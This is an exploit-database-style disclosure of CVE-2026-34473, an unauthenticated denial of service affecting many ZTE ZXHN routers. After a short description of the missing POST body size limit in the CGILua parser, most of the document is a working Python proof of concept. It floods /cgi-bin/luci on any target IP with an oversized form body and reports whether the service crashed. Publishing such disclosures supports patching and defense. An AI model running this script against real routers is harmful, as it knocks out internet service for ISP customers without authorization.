ZTE Routers - Unauthenticated Denial of Service

# Exploit Title: ZTE Routers  - Unauthenticated Denial of Service
# Date: 2026-05-20
# Exploit Author: Mina Nageh Salalma (Monx Research)
# Vendor Homepage: https://www.zte.com.cn
# Software Link:
https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers
# Version: Multiple ZTE router models (17+ confirmed)
# Tested on: Multiple ZTE ZXHN models; estimated 140,000+ publicly exposed
devices
# CVE: CVE-2026-34473

# Description:
# The CGILua post.lua parser in 17+ ZTE router models does not enforce a
# maximum body size for application/x-www-form-urlencoded POST requests.
# An unauthenticated attacker can crash or freeze the router's web service
# by sending a single oversized POST request to any CGI endpoint.
# No authentication, session, or credentials are required.
#
# Affected: 17+ ZTE ZXHN router models deployed by ISPs worldwide.
# Estimated 140,000+ publicly reachable devices at time of research.
#
# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34473

# PoC (Python 3)
import requests
import sys

def dos_exploit(target, size_kb=256):
    """
    CVE-2026-34473 - Unauthenticated DoS
    Sends oversized POST body to crash ZTE CGILua web service.
    """
    url = f"http://{target}/cgi-bin/luci"
    payload = "a=" + "A" * (size_kb * 1024)
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    try:
        r = requests.post(url, data=payload, headers=headers, timeout=15)
        print(f"[+] {target} responded with HTTP {r.status_code} (device
may still be up)")
    except requests.exceptions.ConnectionError:
        print(f"[!] {target} - Connection refused or dropped: device web
service likely crashed (DoS successful)")
    except requests.exceptions.Timeout:
        print(f"[!] {target} - Timeout: device web service unresponsive
(DoS successful)")
    except Exception as e:
        print(f"[-] {target}: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: poc.py <target_ip> [payload_size_kb]")
        sys.exit(1)
    size = int(sys.argv[2]) if len(sys.argv) > 2 else 256
    dos_exploit(sys.argv[1], size)